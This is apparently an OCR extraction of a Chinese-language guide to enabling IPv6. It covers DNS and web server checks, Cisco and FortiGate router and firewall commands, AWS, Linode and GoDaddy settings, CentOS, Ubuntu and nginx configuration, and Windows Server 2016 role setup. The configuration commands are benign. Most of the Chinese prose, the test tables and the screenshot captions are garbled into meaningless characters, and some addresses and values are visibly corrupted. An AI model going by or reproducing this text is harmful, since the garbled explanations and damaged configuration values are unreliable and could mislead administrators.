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IPv6 addresses for nameservers @
2 out of 2 nameservers have IPv6 addresses [details]

Nameserver IPv6 connectivity @
All IPv6 nameservers responded [details]

IPv6 address(es) for web server(s) @
Got IPv6 record(s) for webserver from IPv6 nameservers [details]

IPv6 address(es) for bare domain name ©
1 AAAA record found for bare domain [details]

Web server IPv6 connectivity ©
1 webserver responded OK [details]

Secure web server IPv6 connectivity @
1 webserver responded OK [details]

IPv6 addresses for incoming mail servers @
5 of 5 MX servers have IPv6 addresses [details]

Mail server IPv6 connectivity &
All IPv6 mail servers responded [details]

Bl 4 IPV6 16 & bt Bhiiifd o

=) IPV6 % % % |8 F
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https://www.mythic-beasts.com/ipv6/health-check

2 bt IPVE R A Rk ¥V 5T AT e eipE L B o
¥ B IPV6 & & & 5938 2
# 17 ICP % % e IPv6 X T e iRl %
Bl | A RE | K ERIE | %R [ EiEE BIFE S B3
2% 15
CT-1 |24 |zt 4_ | Trying &+ |curl-v i |curl
IPV6 i+ 4t IPV6 i~ &t ~ 3+ --head
PET 8 AR
(http = TCP_NODEL
https) AY set ~
Connected to
Connected to
A nk (IPV6
ht) port
443 ~ T &g oT
successfully
set certificate
verify
locations ! 35
HTTP/2 200
CT-2 | d |hpEed i k@ Lk B | traceroute6 | tracer
S LA d B IPv6 = | R oute6
Wv6cﬁ£ ht
CT-3|DNS | g2 % A %77+ IPv6 = |dig aaaa 12 |dig
3 I FEK ht i3
Z_IPv6 = @8.8.8.8
i +short
CT-4 |DNS | szki¢ * T 2ot IPv6 i+ |foriin ‘dig |dig
(67 5 Bt @8.8.8.8
DNS +short NS
Server & ¥ 145
2 »); IPV6 dOI echo -n
e "5 =>
[ipv6] *;
dig aaaa $i
@8.8.8.8
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+short;

done
CT-5|DNS | ztit * 2_ = ¥ BT ping6 1T % | ping6
71 DNS &9 PING 3] B
IPV6 35+ IPV6 = ht
" PING i
i
CT-6 |DNS | sezki * i ko IPv6 = |foriin “dig |dig
7 DNS & e @8.8.8.8
e +short NS
12 e 3 £ IR
IPV6 (1t do echo -n
il " =
[ipv6] *;
dig aaaa 2
3 @9
+short;
done
CT-7 | Mail | s=zki * &_ k¢ IPv6 = |foriin dig |dig
Serve | &1 Mail Bt @8.8.8.8
r Server 41 & +short MX
 IPV6 = 15
b E do echo -n
DRt ! :E,’ } ".$I =>
ST [ipve] *;
dig aaaa $i
@8.8.8.8
+short;
done;
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- el AR S RATR G E TR o (R 61)

2 s [PVA/IPVG BB T AR T o4k iR ARl 3T

S

F o

RN gt -5 =3 S AU SRS & X0

118 B A4 H 5 0l

o | FREEP R AR I £l 27
B = o =3
1 Windows XP Windows XP g& X 2 | &_

£ 32 IPV6
DNS Server
( Domain Name

System Server )
kR T

+ 3 IPv6 DNS » e
ITHE (=) >
WinXP # Cisco
NAT-PT z_ DNS 3t
& £ B -- > IPv4
DNS st g 4rd &
B3Rt eno F)p A
E* 7 %4 End
Users Private IPv4
Address shiE;% » e
X_% 3% = DNS
Server 7 |Pv4
Address > ¥ End
Users ~ # b = e
Private IPv4
Address > # 3 -
B IPv4 = Gateway
Address » @ R
BV ER- Ba
7 IPV6 ~ IPv4 =yt
& & 7 DNS ALG
Server » 2% g #
Totd Version 1.5 %
¢ % iz 1 DNS ALG
Server o £ =t 5 o
End Users & [IPv4
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¥oebagaag 4 W
3 & IPV4 i i
4 % % 24 IPv6 DNS
Record s 4

DNS § §4i6 ¢

4 % DNS 7R % ¢
X TAH T ATA A

et - 19




= F REREE D % IPY6
¥ - & NE Pt

P il 8% 5% hpFRpt ok BIRT R SR RS A SRR
Borh e d nE R g AT WA B R R P o
FOULRFEIBEFTAH o IPVA iy § 32 0 WU R 43T/ B
htofed R E A pwn IPv4dizpe SRR o

i o IPVA gl S0 e B AR o A R & de 4
B BGREEY S IPixgE K P ok gk LR
IPV6 - IPv6 £_% = 3= IP 24 (lInternet Protocol version 6) :Ffj - -
IPV6 f% * 128 fl’lflﬁf_z FE!I& » l,(%l'i@i ig/ﬁgg;:%_g"]lp T:—hl’.@i#\ ji ),é
IRIEE oo

é‘_ﬂkfﬁl-ll\ » PSP R o $ < ')";l'rié A /'jPRE'?ﬁm? o
IPVG a3 B o ¥ #h > S ZERIRA P bR 0 AL BT
AWS 52 Linode 1+ £ # IPV6 cisf -

319 fEe i iy

5 XA ERIp FEEP

T AFRA - NHERRES O BRRECE | 3RS

¢35 P FRAEA l“f{'r‘;‘l l‘t‘a;r_ﬁ;;ai,;"r‘i ﬁj‘mﬁi“ﬁ"g

WL B mﬁ%@w o AR ERS

g 4 R P e
TR e

& * AWS -~ FRP|We g4 ¥ ICPE [AWSF %3

Google Cloud H* 7 RAEPAMRE (F | https://aws.amazon

Platform §2 WL A F|) 0 %A Ep | -comitw/

Microsoft Azure | 72 7 o

2 TR Google Cloud

Platform ¥ %%
https://cloud.gooqgl
e.com/docs/

Microsoft Azure

https://docs.micros
oft.com/zh-
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https://aws.amazon.com/tw/
https://aws.amazon.com/tw/
https://cloud.google.com/docs/
https://cloud.google.com/docs/
https://docs.microsoft.com/zh-tw/azure/
https://docs.microsoft.com/zh-tw/azure/

tw/azure/
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https://docs.microsoft.com/zh-tw/azure/

% = & Cisco Router ASR 9000 % 7ped Bz * IPv6 st 32

ik Jx techspot.com ezt + izt » % ¢+ § R & ik d B AZF 487
Sood W RS PR TFEA - R Fl A i 5 ¥~ 18 a0 Cisco
router ASR 9000 3% # # 3k T3 0 H &8 B4 & 15 Fil iR T
B4t 0 B RE Ak T 50 o

i& » Global Configure mode

By~ 4y £
#configure terminal

& ~ Interface mode

o~ dp %
3 configure ) # interface gigabitethernet 0/1/0/2

% Z_IPv4 IP address f- mask

o~ dp %
gconfig-if) # ipv4 address 192.168.1.1 255.255.255.0

% Z_IPv6 global IP address §= prefix-length

o~ dp %
gconfig-if) # ipv6 address 2001:a11:b22:1::1/64

2k Z_IPv6 link-local IP address

B4t
éconfig-if) # ipv6 address fe80::1 link-local

't |PV6 PRF*

o~ dp %
éconfig-if) # ipv6 enable

R

o~ dp %
éconfigure) # commit
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% = & FortiGate / FortiOS 6.0.0 Firewall 1+ X 3 £c* IPv6

g5 Wiki t enfif » so b engic iz V483 05 34N 0 L
AP VI 8N 63 REB2ES -5 - b Vi
S K b R A BL A 20 10-100 BAR A 0 F TR AP 2 LB
%0 ARG S R o Bl AP R je3- 9 o FortiCate/FortioS
6.00 K A HEKTH I o 4ok EehlF VERF RIS 7 ko 1
FFRE L EE D AR 2 5N o

Fipdye =2 32 IPv6 Firewall Gateway # &% & %4 o

# 20 IPv6 Firewall Gateway 2 &

RE FH A & IPV6 & 3 5% &
Check Point Check Point Firewall-1 NG R55 rz }
Fortinet FortiGate FortiOS 3.0 2+
Juniper Juniper SSG ScreenOS 5.0 2}
Juniper Netscreen
Cisco Cisco ASA Version 7.0 12}
Cisco PIX
- ~ fx* |Pv6

B % ¢ System > Config > Features

= ~ IPv6 policy routing
B2 /% % * Network > Policy Routes
Create New > IPv6 Policy Route
Adding an IPv6 Policy route
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hew Routing Policy

It incaming traffic matches:

Protocol TCP UDP  SCTP Specity
Imcoming interface Eclnet (5510: SEudent - ret ) ¥
Solrce asdness S mask i}

Lagstination acdress ./ mask i

Type of Service Bit Pattern | gm0 Bit Mask | 000
Then:

Ohrigoing interface | Click to et ¥
Gatevway Addrase

Comments

Bl 5 IPv6 policy routing

= ~ DHCPV6-PD % Z_

A upstream 4 & (port10) £x* Enable DHCPv6 Prefix
Delegation

config system interface
edit "port10™
config ipv6
set dhcp6-prefix-delegation enable
end
end

# downstream 4 & (portl) 4p %_delegated prefix

config system interface
edit "port1"
config ipv6

set ip6-mode delegated

set ip6-upstream-interface "port10"

set ip6-subnet ::1:0:0:0:1/64

set ip6-send-adv enable

config ipv6-delegated-prefix-list

edit 1

set upstream-interface "port10"
set autonomous-flag enable
set onlink-flag enable
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set subnet 0:0:0:100::/64
end
end

end

z ~ DHCPvV6 server configuration

it {7 delegated prefix & z_

config system dhcp6 server

edit 1
set dns-service delegated
set interface "wan2"
set upstream-interface "wanl1"
set ip-mode delegated
set subnet 0:0:0:102::/64

end

7 ~ DHCPvV6 relay
RF L T g 4 kK L FortiGate /i & % @ 1E DHCPV6 14 33 17
P e

config system interface
edit internal
config ipv6
set dhcp6-relay-service enable
set dhcp6-relay-type regular
set dhcp6-relay-ip 2001:db8:0:2::30
end

- ~ Obtaining IPv6 IP addresses from a DHCP server
ek BE R4 7] T G dp £ AR wan2 i @ B~ IPV6 i
B

config system interface
edit wan2
config ipv6
set ip6-mode dhcp
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end

= ~ DoS 5T ¥

4% 2%k 7. DoS (FE¥TN 5T ) i
F TS - Policy & Objects > IPv6 DoS Policy

~ ~ IPv6 forwarding
Policies, IPS, Application Control, flow-based antivirus, web
filtering, and DLP

* FTHLE : Policy & Objects > IPv6 Policy
Create New to add an IPv6 Security Policy

1 ~ ICMPv6
K T 75 ¢ Policy & Objects > Services > Create New

Enter the following CLI command:

config firewall service custom
edit diagnostic-testl
set protocol ICMP6
set icmptype 140
set icmpcode 0
set visibility enable
end
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2

% & PacketX Load Balance § §*- =@ PR B fx* IPV6

WUH BT UIRFFOE P MR %%]”"E— o IlT g],;*# B S
Fd F 3k T - & mirror port %ﬁd ® mirror port #-#7% 4f& :Vr;z,}g
- >k £ EA 5 & ik 5 (IDP > Intrusion Detection and
Prevention):& {7 F3L % > 4 45 o

fRTHERIREY KRR MR AHCI] S SR A

R THERIREA A Y A PREd B2 T kD BT
10 2248 > FiEkd Beofdd] > 5 SR & A8 1/105E =
o A PFTERAE I f T LKA E
SIE ST AN 3 LA 1 S Y %mmﬁﬁﬁﬁwg\lbg
B RS AR AR A RFEELRNES > S EBEL T
CURE O BARRBELERIGE o

WAN

Load Balance P4P6

Mirror port PO

P4 P6

B 6 Load Balance 3% % %t # §]

%18 f T T 20 3R PacketX #- Router mirror (i £ (@ 3%
|PV4/|PV6) UARE|[R S = IDP XE‘-f"F’]“ Z AT o ioAL* mirror (Bév_
b)) Bdpdp e hite AF - R Y - B2 oo

B ErES
<run>
<chain id="0">
<in>P0</in>
<out type="loadBalance">P4,P6</out>
</chain>
</run>

ERUI I AR e i i PacketX #- Router mirror ;i & (&
15 IPVA/IPv6) 4 %% w s 5 IDP -

<run>
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<filter 1d="100" sessionBase="no">
<0r>
<find name="ipv6" relation="==" content="" />
</or>
</filter>
<chain id="5">
<in>VO0</in>
<fid>F100</fid>
<out>V6</out>
<next type="notmatch">
<out>V4</out>
</next>
</chain>
</run>
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% 7 & Amazon AWS L TE B fx* IPV6

Amazon AWS Fg3% 3 £ 42 IPV6 > e f7 L A&FE R A2 ok i ~ IPV6 3F ¢

ECADNEEN Ul ﬁ,%;@ IPV6 et e ¥ 11 ~ BN o

1.4+ IPv6 CIDR block (VPC i * #3515 )

2.0 #7#d 4

3.4 1PV6 5 i %7 bi(instance » — 1 instance ¥ 14 % & - LA m R
i)

4. 37% 2 ERP|(K T & B ELaport ~ ¥ LF@ M ah R P ¥
L 3F i et 7 TCP & UDP)

VEF—— d 3 AWS £ ’E ?ﬁ/&?g{#?dﬂ,d—fﬁéﬁ-?ﬁ\ii
$7 5 5 & AWS ,J.—*gz;~ = #7¢ Web Server 584 % - B

instance (§F &)

Edit inbound rules

Type (& Protocal | Port Range (i Source (| Description (|
55H v TCP 22 Custom » | | 2020220032 (5]
55H ~ TGP ] Custom ~ | | 20 128 %
HTTRS - TCR 443 Custom ~ | | 0u0.0.040 ]
HTTFS - TCP 443 Custom %]
HTTR w TCR B Custom  » | | 0.0.0.080 o
HTTP - TCP 0 Custom ~ o

Add Rule
NOTE: Ay edits made on exis iles. will result in the edied rule being delesed and a new rule created with the new details. This wil cause waffic that depends on that

rde o be dropped for a very b viod of tme undél the new nule can be created

7 Amazon AWS % % IPVA B IPV6 3% tefe — 1 /i &
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% = & Linode s iR B £2t IPV6

Linode ¥f 3% 7 #<* IPV6 > ¢x* — i Linode instance 3% ¢
B B IPvAR2- B IPV6 iy > 3 FRFEREEE A ¥R A ¥

Ll EAEER S L ol

linode

Dashboard

Access

IPvé

Metworking Resiz R R

B 8 Linode s ACL % =% w
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% = & DNS i skt IPv6

DA b I S S A pgigs g EES
1s-7 j"?m b e pl L - B (IES S RN LE SRR
oDaddy com > T & 1 GoDaddy.com =g 2 4 & % ./L,,,J ;L
%?i@} &PV ek o AT AN E & AAAA S TR R g
PV6 i

T Ao
1“1@

— _“i\\

o
v B J

B EERS

A

CNAME o]

MX

TXT

SRV

CAA

AAAA
Ey f5M *
@ [ 2400:8902::f03 } 1/

4a»

Bl 9 GoDaddy.com & = ¢ = 4
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%z % Centos7/Ubuntul8/Windows 2016/Windows 2019 i+
¥ i XUkt IPV6

IPV6 A gi i3 ens 5 #iciT¥ & ‘iﬁ'&b EETH 5 R TRV i
2003 & 12 * 17 p # % Linux p 1‘* (Kernel ) 2601%{; o mx
EEE # IPV6 7 o B 5 z @ » Linux Kernel % 2.1.8 & 7
SRR F Gy o B G E K AIER A (b4e Linux) o F 0

Windows Server 2008

l I !
>
l i i

1" 2010 2015 2020

_!_

2000

IPv6 enabled OS

Bl 10 % 4% IPV6 chiv ¥ & %

d AT E & SLE IPV6 chx 35 % 0 1] Kernel £ 00 chsl 32k

dr & f"t"‘/% Jh kLR %f,% 23 IPV6 » 22 & f%% AN =% - <o pli=d
2

I~y I
1i7% % ‘?fu“[ﬁ'ﬁ”ﬁ b'L'r?‘;ﬁ E A v o f'*p BREFH PN gk A

o

R e

&
DINGIREN
PR

L

2-"‘:’%"5:577%#,?‘ e el [ 2reng _}_-,%,ﬁ; ’ %E"ﬁ'g‘
3.0 P 2 F e A Bl ¥ SR A ATnITE

7
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2

% = & Centos7 fx* IPv6
— ~ RE IPV6 2o w s g%—iﬁt%;DNS © 5 K TIPV6 -
t+_DNS e = & AAAA record dpe T2 BN IPV6 =

T, 7
TR 2 {8 £ 12 dig pfFEHE T ﬂ;‘l Godaddy =4
= §= ] - Godaddy #_> Ik s L9 DNS 4 & 2 ¢ R o

v B J
AR EERE
A
CNAME BUH
MX
X
SRV

CAA

AAAA

E3 N f&m * TTL*

ap

@ [ 2400:8902:f03 ] 1/1\E5

B 11 % Godaddy *} #

_\“\
=&
)
et
—_
D
(@]
o
-
o

~ %7 DNS 4394 F 7 IPv6

ﬁis?] »dp %
dig hostname AAAA

=

A= S

=

9

: <<>> DIiG 9.10.6 <<>> hostname AAAA

;; global options: +cmd

., Got answer:

., ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34540
;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0,
ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
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: hostname. IN  AAAA

:» ANSWER SECTION:
hostname. 3599 IN AAAA 2400:X:X:X:X:X

;; Query time: 24 msec

;; SERVER: 8.8.8.8#53 (8.8.8.8)

;» WHEN: Fri May 17 14:54:28 CST 2019
;» MSG SIZE rcvd: 67

~ 1% T Jetc/sysctl.conf #§ % - & ipv6 = &

12 =z [etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6 =0# 1 % 7 M B » 0 & 77 B k<
net.ipv6.conf.default.disable ipv6 =0

ﬁi%l AR S
net.ipv6.conf.all.disable _ipv6 =0
net.ipv6.conf.default.disable ipv6 =0

T~ R o Rkt BT IPV6 mn

ﬁ%ﬁﬁ
systemctl restart network

* s hHE F B IPV6 i=nt

%ﬁ%%ﬁ%ﬁﬁ
ifconfig -a | grep inet6

@,?] g% (XE AR aIPv6 =% )

inet6 fe80::x:x:x:x prefixlen 64 scopeid 0x20<link>
inet6 2400:x::x:x:x:x prefixlen 64 scopeid 0x0<global>
inet6 ::1 prefixlen 128 scopeid 0x10<host>

S RIERALE T L 5] 72N IPVG

ii%] *dp %
ping6 google.com

IR S

it

E
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time=0.803 ms

time=0.707 ms

PING google.com (nrxx.xx.net (2404:x:x:x::x) ) 56 data bytes
64 bytes from nrxx.xx.net (2404:x:x:x::x) :icmp_seq=1 ttI=58

64 bytes from nrxx.xx.net (2404:x:x:x::x) :icmp_seq=2 ttI=58

A~ i eoweb server 3 T (iEAZ 1 nginX & 4 b))

listen [::]:80; # & & 3 IPv6 > P& 4} [:]:
listen 443 ssl http2;
listen [::]:443 ssl http2;

listen 80 default_server; # 4% ¥ 3 listen IPv4 > & ;% % listen 80

dod B E FIPVBIP > T LG T Sk

| listen [2400:6180:0:d0::1f33:d001]:80 default_server;

4% §_Apache » 2% v 12

\\\ﬁr

Sl

Listen 80
Listen 443
Listen [::]:80
Listen [::]:443

<VirtualHost *:80 [::]:80>

</VirtualHost>

4 ~ # £z web server (12 nginx % 1)

ﬁ%ﬁﬁ
service nginx restart

- ~ & & webserver % 3 listen IPv6

oAt d
netstat -natp | grep nginx

ji%]ﬂ'.:%%
tcp 0 00.0.0.0:80 0.0.0.0:* LISTEN
master
tcp 0 00.0.0.0:443 0.0.0.0:* LISTEN
master
tcp6 0 0::80 o LISTEN
master
tcp6 0 0::443 x LISTEN

10996/nginx:
10996/nginx:
10996/nginx:

10996/nginx:
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| master

L — “FiEIRIPVE s & b sk web server £.F ¥ U R iF IE

https://www.mythic-beasts.com/ipv6/health-check
IR R LR T R AT D PR ELE  THA- BReAd
iE m% QI

IPv6 addresses for nameservers @
2 out of 2 nameservers have IPv6 addresses [details]

Nameserver IPv6 connectivity @
All IPv6 nameservers responded [details]

IPv6 address(es) for web server(s) @
Got IPv6 record(s) for webserver from IPv6 nameservers [details]

IPv6 address(es) for bare domain name ©
1 AAAA record found for bare domain [details]

Web server IPv6 connectivity ©
1 webserver responded OK [details]

Secure web server IPv6 connectivity @
1 webserver responded OK [details]

IPv6 addresses for incoming mail servers @
5 of 5 MX servers have IPv6 addresses [details]

Mail server IPv6 connectivity &
All IPv6 mail servers responded [details]

B 12 IPV6 b4k 5%k = # 7 % B
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% = & Ubuntu 18 £ * IPV6

— ~ 2 Z_[etc/network/interfaces #§ %
%ﬁ’iﬂ MTE F.ﬁ"\ 2

iface eth0 inet6 static
pre-up modprobe ipv6
address 2404:0:x:0:X:X:X:X
netmask 64

& FECH BB

B~ 4
/etc/init.d/networking restart

= ~ B
* ifconfig £ ip addr show B|z& IPV6 =t & F 3 & % F&

B4
ifconfig

i A%
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu
1500
inet 139.162.111.100 netmask 255.255.255.0 broadcast
139.162.111.255
inet6 2404::x:x:x:x prefixlen 64 scopeid 0x0<global>
inet6 fe80::x:x:x:x prefixlen 64 scopeid 0x20<link>
ether f2:3¢:91:4a:32:87 txqueuelen 1000 ( Ethernet)
RX packets 11778775 bytes 1641085278 (1.6 GB)
RX errors O dropped O overruns O frame O
TX packets 250621723 bytes 40629618009 (40.6 GB)
TX errors 0 dropped 0 overruns O carrier O collisions 0

%%ﬁﬁ
ip addr show

A5

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500

qdisc fq_codel state UP group default glen 1000

link/ether 2:3¢:91:4a:32:87 brd ff:ff.ff:ff.ff.ff

inet 139.162.111.100/24 brd 139.162.111.255 scope global eth0
valid_Ift forever preferred_Ift forever

inet6 2404:0:x:0:x:x:x:x scope global dynamic mngtmpaddr

=
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noprefixroute
valid_Ift 2591999sec preferred _Ift 604799sec
inet6 fe80::x:x:x:x scope link
valid_Ift forever preferred_Ift forever
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% = & Windows 2016 £z * |IPv6

LBt R BT EE TP s, 0L Tk RE
EET AR F BT 0 O kBRI EE > EERER

I AN

Troubleshoot problems

Open Network and Shmng Center

B 13 Windows 2016 2% % 4+
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I
k]
yc
T
-

IPi=nt 2 RI3 BE » & & 3%
i 4 -

<« Network and Internet » Network and Sharing Center

View your basic network information and set up connections

Control Panel Home

View your active networks %E Pv mﬁk
Change adapter settings I 4

Change advanced sharing Unidentified network Access type: No network access

ings ork Connections: U Ethernet
nternet Protocol Version 4 (TCP/IPw4) Properties
Netwodong General

Connection Connect using
Pv4 Comnectivity: No nety & \el(R) PRO/1000 MT Deskicp Adapter
Pvé Connectivity: No nety
Medka State: Corfigure (O Obtan an [P address automaticaly
Durason: Tha connection uses the folowng tems (®) Use the folowing IP address;

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate [P settings.

Speed: ‘? Cient for Microsoft Networks

B e and Prrter Shanng for Mcrosoft Networks

19 Q0S Packet Scheduler Subnet mask:

A, Intemet Protocol Version 4 (TCP/1IPv4)
Microsoft Network Adapter Mubplexor Protocol

2 Microsoft LLDP Protocol Driver

2 Intemet Protocal Vierson 6 (TCP/IPYE)

1P address:
Defauit gateway:

Activity

Jse the folowing DINS server addresses
atal Preferred ONS server: 192
Descrption Alternate DNS server

Transmissicn Control Protocol/intemet Protocol. The default
wide area network protocel that pro communication - ooy -
scross diverse intercornacted networks [ valdate settngs upon ext

B 14 Windows 2016 F¥ gz gt /i
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% g ISP 7B~ 12 i IPV6 =4k 0 B~ BT BlenA Ep oo F JE@?] r e
1% IPV6 =ut ~ IPV6 o prefix ~ g 11 3 o gateway » B3 DNS server
e [PV6 >kt o

* « Network and Internet > Network and Sharing Center

View your basic netw: information and set up connections

Control Panel Home

View your active networks &%
Change adapter settings IPv6 firfik

Unidentified network Access type: No network access

Public network Connections: §

Netwodang

Cornecton Connect using
Pv4 Comnectivity: No nety ? Intel(R) PRO/1000 MT Dy
Pvé Comnectivity: No nety General
Media State:

- You can get IPv6 settings assigned automatically if your netwark supports this capabiity.
Durason: ha connection uses the follows [
Duraton: cih: " Otherwse, you need to ask your network adminstrator for the appropriate IPv6 settings.,

Internet Protocol Version 6 (TCP/IPVE) Properties

Speed ¥ B8 Cient for Microsoft Nett
% Fle and Pirter Shanng
Detads... 19 QoS Packet Scheduer () Obtain an I9v6 address sutomatically
4. Intemet Protocol Versq (®) Use the following IPv6 address:
2 Microsoft Network Ada
Activity & Microsoft LLDP Protoct
1 Intemet Pretocal Versg Subret prefix length:

1Pv6 address: 001:11:22: 1::100

Defaut gateway:
nstad
Description
TCPAP version 6. The |atest ®) Use the following DINS server addresses

oper Disable Dagnose that provides communication
QD’ 25 0 networks Preferred DNS server:

Alternate DNS server:

[[Jvaldate settngs upon ext

B] 15 Windows 2016 @?] > |Pv6 i xt
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¥ & 72 ¥ hostname > hostname B F_% >t yE IR T iE
[ - = & 1%
% BT e %F— °
=
4 Bl » Control Panel » System and Security » System v & Suarch Conbral Pane o
Control Panel H : s s g = e
erirel Fanet Home View basic information about your computer comP“t.r Name
& Device Manager Windows edition
& Femote settings Windouws Server 2016 Datacenter Evalustion
& Advanced system settings & 2016 Microsoft Corporation. All rights resenved. == Windows Server: 2016
System
Processon
nestalled memary (f Computer Mame  Hardware Advanced  Remots
System type l:‘ Wiindows uses the folowng infoematon fo identify your computer
Pen and Tauch: on the network
Computer name, doma Compuber description _. | Computer Narme/Domain Changes *

5
Carmputer name Fr escample: “N15 Produy

A e —— The name of this computer has been changed. You must
Ful ; ouniing Senex restar this computer for the name change to take effect befone
ull computer nam Full compuder name. 1 you can change 3 domain membership

Computer descripti Workgroup: WORKGROUP
Warkgroupe Computer name:

To rename this comouter or change ks doman or | [

Windows activation “' - chck Change
Full compuier name:

Windows is not acti nal
Praduct D; 00377-1 More vate Hindaws

§. Changes wil take effect afler you rmstadt this |

‘
OK Cancel
Security and Maintenance

B 16 Windows 2016 2% Z_hostname
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She
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A
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%
fishy
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=3
o &3 > Control Panel > System and Security » System v earch ne L
Control Panel Home . 8y .
View basic information about your computer
@ Device Manager Windows edition
@ Remote settings Windows Server 2016 Datacenter Evaluation
® Advanced system settings © 2016 Microzoft Corporation. All rights reserved '-. Windows Server 2016
System
Processor Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz 2.40 GHz
Installed memot Microsoft Windows X
System type:

Pen and Touch:| YOU Must restart your computer to apply these

changes
Computer name, dg

Before restarting, save any open files and close all programs,
- y |
Computer namé his computer)

Full computer n.
Restart Later

Computer descr

Workgroup: WORKGROUP

Windows activation

License Terms

Windows is not activated. Read the Micro

Product ID: 00377-10000-00000-AA360

Security and Maintenance

Z

B 17 Windows 2016 3% & % = & & K& B %
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B Server Manager

Server

I8 Dashboard WELCOME TO SERVER MANAGER

I Local Server i
EE AN Servers -~
. Configure this local server
WE File and Storage Services b -
3%$4 roles and features

Hide
LEARN MORE

ROLES AND SERVER GROUPS
Roless1 | Server groups: 1 Servers totak 1
i File a.ind Storage
services
@ Manageability

Events

Performance
BPA results Perfarmance

BPA results

B 18 Windows 2016 % # roles and features
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Server Manager * Dashboard

188 Dashboard WELCOME TO SERVER MANAGER

i Local Server —

ii All Servers i Add Roles and Features Wizard

-l’i File and Storage Ser,

Befora You Begin This wizard helps you install roles, role services, or features. You determine which roles, role services, or
features to install based on the computing needs of your organization, such as sharing documents, or

ation Type hosting & website.

To remove roles, role services, or features:

Start the Remove Roles and Features Wizard
Before you continue, verify that the following tasks have been completed:

* The Adminsstrator account has a strong password
* Network settings, such as static IP addresses, are configured
* The most current security updates from Windows Update are installed

If you must verify that any of the preceding prerequisites have been completed, close the wizard
complete the steps, and then run the wizard agan.

To continue, click Next.

|| Slip this page by default

|_Cancel |

B 19 Windows 2016 ¥ 7+ F &

=
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Server Manager * Dashboard

% Dashboard WELCOME TO SERVER MANAGER
I Local Server —
- (=) X

fs Add Roles and Features Wizard

ii All Servers

®§ File and Storage Ser]

Select the installation type. You can install roles and features on a running physical computer or virtual

machine, or on an offline virtual hard disk (V

|
Carver Selectice * Role-based or feature-based installation

Configure a single server by adding roles, role services, and features.

Remote Desktop Services installation

Install required role services for Virtual Desktop Infrastructure (VDY) to create a virtual machine-based |

or session-based desktop deployment.

g, - 46
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Server Manager * Dash

Dashboard WELCOME TO SERVER MANAGER

i Local Server —
- a »

i Add Roles and Features Wizard

BE All Servers
DESTINATION SERVER
nat

WE File and Storage Ser

Select a server or a virtual hard disk on which to install reles and featunes.

&) Select a server from the server pocl
Select a virtual hard disk

Server Foles Server Poal

Filers

Marre

1 Computeris) found
This page shows servers that are running Windows Server 2012 or a newer refease of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and

newly-added servers from which data collection is still incomplete are not shawn,

< Previous Mext ’i

B 21 Windows 2016 :E 4% p 3 %
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78 B ¢ 3% DHCP Server ( § # & f IPf2 % ) ~ DNS Server ( §
F e enf2dr ) - Web Server (f F it i T IRAY) o

Server Manager * Dashboard

i Dashboard WELCOME TO SERVER MANAGER

l Local Server

ii All Servers i Add Roles and Features Wizard

#§ File and Storage Ser

Roles

LI Active Directory Certificate Services
Active Directory Domain Serv
Active Directory Federation Services

Select one or more roles to install on the selected server.

DESTINATION SERVER

st

Description

Web Server (IIS) provides a refable.
manageable, and scalable Web

spphcation nfrastructure.

y Lightweight Directory Services
lights Management Services
estabion

/) DHCP Server
/! DNS Server
| Fax Server

Controller
Pokicy and Access Services
Document Services
Remote Access
Remote Desktop Services

Volume Activation Services

L4f'\Web Server (RS)

B 22 Windows 2016 % #% Server 72 p
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i 7% DNS Server » 3yt 3 8 5 & DNS 24574 it

88 Dashboard WELCOME TO SERVER MANAGER

I Local Server

i All Servers R

ii File and Storage Ser

s Add Rolies and Features Wizard

equired for DNS Server?

Add features that are

The following tools are required to manage this feature, but do not
have to be installed on the same server

4 Remote Server Administration Tools
4 Role Admanistration Tt
[Tools] DNS Server Tools

V] Include management tools (if applicable)

|
Add Features

INATION SERVER

nst
X
ption
n Name System (DNS) Server
bs name re: « TCP/IP

fks. DNS Server = easier to
le when it is installed on the
lerver as Active Directory

ph Services. If you select the
Directory Domain S
pu can install and confi
prver and Active Directory
n Services to work together

ide

B 23 Windows 2016 :% # DNS Server
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Server Manager * Dashboard

i Dashboard WELCOME TO SERVER MANAGER

l Local Server o
iE AnServers i
#§ File and Storage Ser M DHCP s.mr
Vé»—- — er I f=) DESTINATIO R
B Add Roles and Features Wizard * -

e this feature, but do not

/| Include management tocls (f applicabie)

m &
B 24 Windows 2016 :% 3 DHCP Server
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FEE NS FABE G & ERT R 5 - IS £_Microsoft p 742
% ¢ \Web Server » # it #2 Apache & Nginx &g i

Server Manager * Dashboard

88 Dashboard WELCOME TO SERVER MANAGER

I Local Server ——

il All Servers [
#§ File and Storage Ser m ||S SQMI’
DESTINATION SERVER

Select server roles ]
s Add Rolies and Features Wizard *
X
Add features that are required for Web Server (11S)?
ption
The following too required to m his feat t o |
e following tools are required \anage this feature, but do not prver (IIS) provides a refiable

have to be installed on the same server. te. and scalable Web
Server Roles |eable, and scalable Wel
fhon nfrastructure.

4 Web Server (IS)
4 Management Tools

[Tools] 1S Management Console

M Include management tools (if applicable)

Add Features ‘ } Cancel

[y

_Cancel’

B 25 Windows 2016 :% #% 1IS Server
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Server Manager * Dashboard

88 Dashboard WELCOME TO SERVER MANAGER

I Local Server —

ii All Servers s Add Roles and Features Wizard

- (m] X

( DESTINATION SERVER

Confirm installation

nt

To install the following roles, role services, or features on selected server, click Install

yee [[] Restart the destination server automatically if required

Optional features {such as sdministration tools) might be displayed on this page because they have
been selected automatically, If y
their check boxes.

ant to install these optional features, click Previous to clear

DHCP Server
DNS Server
Remote Server Administration Tools
Role Administration Tools
DHCP Server Tools

DNS Server Tools
Veb Server (IIS)
Management Tools
1S Management Console

Web Server

451, - 52
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I8 Dashboard WELCOME TO SERVER MANAGER

I Local Server —
BF Al Servers e Add Roles and Festures Wizard - [m] x
18 DHCP

8 ctellim I NATIGN SERVER
&= DNS Installation progress P
WE File and Storage Sen

lﬂ s Wiew installation progress

o Feature installation

uoceeded on nsl

DHCP Server
Launch the DHCP post-install wizard

ete DHCP o
DNS Server
Remate Server Administration Tools
Role Administration Tools
DHCP Server Tools
DNS Server Tooks
